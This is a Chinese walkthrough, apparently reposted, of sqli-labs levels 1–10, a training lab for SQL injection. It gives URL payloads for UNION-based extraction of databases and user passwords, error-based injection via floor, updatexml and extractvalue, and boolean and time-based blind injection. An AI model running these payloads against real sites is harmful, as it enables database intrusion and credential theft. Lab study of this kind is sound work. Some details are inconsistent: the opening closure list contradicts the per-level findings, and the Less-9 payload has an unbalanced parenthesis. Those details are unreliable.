概述
Sqli-labs 1~10关:
url编码表链接
问题:Please input the ID as parameter with numeric value
———请输入ID作为带数值的参数。
过关方式为在url中使用sql注入查询数据。(之所以说这因为我第一次进来时懵逼了。)
1~10关所用的闭合方式:
1:数字型注入——无需闭合。
2:单引号闭合——以'
和--+
闭合。
3:单引号和括号闭合——以')
和--+
闭合。
4:双引号闭合——以"
和--+
闭合。
5:双引号和括号闭合——以")
和--+
闭合。
PS:在url中建议用--+
注释,在POST注入中用#
注释。
Less-1
1: 首先,输入/?id=1
页面显示正常。如下 (/?id=1
和 /?id=1 or 1=1
为万能)
判断闭合方式,输入/?id=1'--+
,页面正常。所以该关为单引号闭合。
2: 然后,通过order by x
查询字段数。
order by :是用来查询列数的,当字段数超过数据库的字段数,数据库就会返回错误信息,因此,我们可以利用order by来猜测数据库的字段数 。
输入/?id=1' order by 4--+
网页显示错误,如下:
输入/?id=1' order by 3--+
,页面显示正常,如下:
说明有三个字段.
4: 接着采用union联合查询。
输入/?id=0' union select 1,2,3--+
注意:输入的ID需不存在,使前面的语句错误为空,然后显示后面的语句信息。例如id=-1,0,250等。页面显示如下:
页面显示说明,可以在2,3位置为显示为,输入查询语句后,信息会出现在2,3位置。输入/?id=0' union select 1,(select database()),3--+
——查询本地数据库。
信息会出现在原来2的位置,如下:
输入/?id=0' union select 1,database(),3--+
也可查询本地数据库。
输入/?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
——查询所有数据库,如下:
输入/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
——查询security数据库中的数据表,如下:
输入/?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’),3–+——查询security数据库中的users数据表的字段名。如下:
输入/?id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
——查询security数据库中的users数据表中的数据。
table_name、information_schema、等都是数据库中自带的,可在phpmyadmin中查看。
group_concat() 是一个函数,将同一个id的其他字段合并起来。
information_schema:MySQL中自带数据库。
table_schema:数据库名
table_name:数据表名。
column_name:字段名。
Less-2
首先,输入/?id=1
正常,输入/?id=1'--+
或/?id=1')--+
都错误,说明该关为数字型注入,不需要闭合。其他查询语句见Less-1。
Less-3
首先,输入/?id=1
正常,输入/?id=1'--+
错误,输入/?id=1')--+
页面显示正常,说明该关以')和--+闭合
。其他查询语句见Less-1。
Less-4
首先,输入/?id=1
正常,输入/?id=1'--+
和/?id=1')--+
页面正常,但用order by 查询字段数时页面无变化,换成/?id=1") order by 4--+
,页面变化。说明该关以")和–+闭合。其他查询语句见Less-4
Less-5
首先,输入/?id=1
,出现以下页面:
用union联合查询没有显示位。所以我们可以选择报错注入。
报错注入:
报错注入就是通过输入错误语句,使我们要查询的信息出现在报错语句中。
(一)floor()报错:
and (select 1 from(select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
COUNT(column_name)函数:返回指定列的值的数目(NULL 不计入):COUNT(*)函数:返回表中的记录数
concat(a,b) :合并
payload:想使用的SQL语句(在此中可用联合查询。)
floor(向下取整数)
group by :将字段分组
x:字段名
rand()函数:rand(x),为x赋一个参数值,作为随机种子,相同参数的rand(x),随机的数字一样。)
原理:rand(0)*2 会随机生成两个数,检测临时表中key是否存在,floor(rand(0)*2)可能为0 也可能为1 导致插入时冲突而报错,也就是检测时和插入时两次计算了随机数的值。
(二)updatexml()报错:
and updatexml(1,(子句),1)
原理:语句对payload的返回类型做了限制,只有在payload返回的不是xml格式才会生效,查询时使用的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,出现查询结果。——王泽平大佬
(三).extractvalue()报错:
and extractvalue(1, 子句)
原理:正常用户访问服务器时发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容;如果能让错误信息中返回数据库中的内容,即实现SQL注入。——王泽平大佬
在Less-5中
用?id=1'
后出现报错,所以可以用’和–+闭合。
输入/?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
——查询所有数据库名。如下:
可在子句中用联合查询。
Less-6
首先,输入/?id=1
和/?id=1'
等判断闭合方式,只有/?=1"
出现报错信息,所以我们以"
和--+
闭合,采用报错注入。用Less-5相同。
Less-7
首先,输入/?id=1,网页显示如下:
说明我们要用文件录入的方式将信息录入到文件中。
union select 1,2,3 into outfile'file_path'。
但是错了,本题跳过。
Less-8
首先,通过尝试,发现输入什么都没报错信息,所以不能通过报错注入了。
用布尔盲注。
布尔盲注:
(1)mid()函数:mid(string,start,length)
(2)substr()函数: substr(string,start,length)
(3)left()函数: left(string,length)
(4)ascii()函数: 把某一个字符转为ascii值。(可将字符转成ascii值比较)
(5)limit(m,n)函数: 索引从m到n的数据。
string:规定要返回的字符串。start:规定在字符串的何处开始(初始值为1)。
length:规定被返回字符串的长度(可以省略,若省略则返回剩余所有文本)
布尔盲注的原理是根据页面返回的是true还是false来判断比较的字母是否正确。
在函数后输入>'a'
,判断页面是否有变化,若页面无变化则会真,若页面为空,则为假,以此判断首字母,通过更改字符的位置,判断其他字母。
在Less-8中:
输入?id=1' and mid(database(),1,1)>'a'--+
——判断本地数据库首字母是否大于a。若为真,则显示如下:
直到输入/?id=1' and mid(database(),1,1)>'s'--+
,页面显示如下:
所以首字母为s。
关于判断闭合方式,我的方法是先把整条语句打出来,只有正确的闭合方式才有效,其余的页面为空。
Less-9
if(a,b,c)函数: 判断a,如果a为真,则执行b;a为假,则执行。
sleep(x)函数: 延迟x秒
本关采用时间延迟盲注
输入 /?id=1' and if(ascii(substr(database(),1,1))>'98'),sleep(5),1)--+
,如果为真,则延迟5s出现网页结果。依次推出库名。
关于本关的闭合方式判断,我采用的与Less-8方式一样。判断出本关为单引号闭合。
Less-10
该关与Less-9唯一区别在于闭合方式为双引号闭合。
感谢王大佬的启蒙指导
最后
以上就是简单含羞草为你收集整理的Sqli-labs ”1~10关“——宝典Sqli-labs 1~10关:的全部内容,希望文章能够帮你解决Sqli-labs ”1~10关“——宝典Sqli-labs 1~10关:所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复